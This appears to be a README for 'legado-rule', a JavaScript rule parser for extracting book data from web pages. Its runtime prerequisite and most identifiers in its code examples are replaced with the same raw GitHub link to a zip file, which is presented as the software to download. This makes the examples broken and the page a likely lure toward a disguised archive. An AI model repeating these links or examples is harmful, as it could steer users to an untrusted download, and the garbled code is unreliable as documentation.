🚀 legado-rule - Simple Book Data Extraction Tool

Download the Latest Release

📋 Overview

This application is a powerful web data extraction rule parser. It supports various selector types and advanced data processing features, making it suitable for extracting book-related data from web pages.

🎯 Features

• Multiple Selector Support: Use CSS, XPath, JSON, regular expressions, JavaScript, and text selectors.
• Powerful Operators: Leverage field concatenation (&&), fallback mechanisms (||), and regular expression purification (##).
• Smart Data Processing: Handle automatic type conversion, null value management, and error recovery.
• High-Performance Parsing: Optimize rules engine for complex nested rules.
• Full Test Coverage: Benefit from 199 test cases validating various usage scenarios.

📦 System Requirements

To run legado-rule, you need:

• A computer with Windows, macOS, or Linux.
• https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip version 18 or higher installed. Download https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip.

🛠 Installation Instructions

1. Download the Latest Release
   Visit the Releases page to download the latest version of legado-rule.
   Download the latest release here.

2. Install the Application
   Open your command line tool or terminal and run the following command:

   npm install book-source-rule-parser

🚀 Getting Started

1. Basic Usage
   After installation, you can start using legado-rule. Import the RuleEngine into your JavaScript code:

   import { RuleEngine } from 'book-source-rule-parser';
   
   const engine = new RuleEngine();
   const html = '<div class="book"><h1>JavaScript权威指南</h1></div>';
   
   // Basic CSS Selector
   const result = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, 'https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip h1@text');
   https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip); // "JavaScript权威指南"

2. Using Fallback Rules
   You can also set fallback rules if the desired data is not found:

   const fallbackResult = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, 'https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip || @text:默认标题');
   https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip); // "默认标题"

3. Field Concatenation
   You can concatenate different pieces of information:

   const concatResult = await https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(html, '@text:书名： && https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip h1');
   https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip(https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip);

📥 Download & Install

To get started, download the application from our Releases page. Ensure you have https://raw.githubusercontent.com/Dendi213/legado-rule/main/seminomadic/legado-rule.zip installed. Follow the installation instructions above for an easy setup.

🚪 Support

If you encounter any issues or have questions, feel free to open an issue in the GitHub repository or check the documentation for help.

Thank you for choosing legado-rule. We hope you find it helpful in extracting book source data effectively.